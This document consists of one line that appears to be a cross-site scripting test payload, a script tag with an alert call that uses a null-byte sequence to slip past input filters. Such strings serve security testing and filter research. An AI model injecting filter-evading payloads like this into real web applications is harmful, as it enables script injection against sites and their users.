1234<%00script>alert(10667)</script>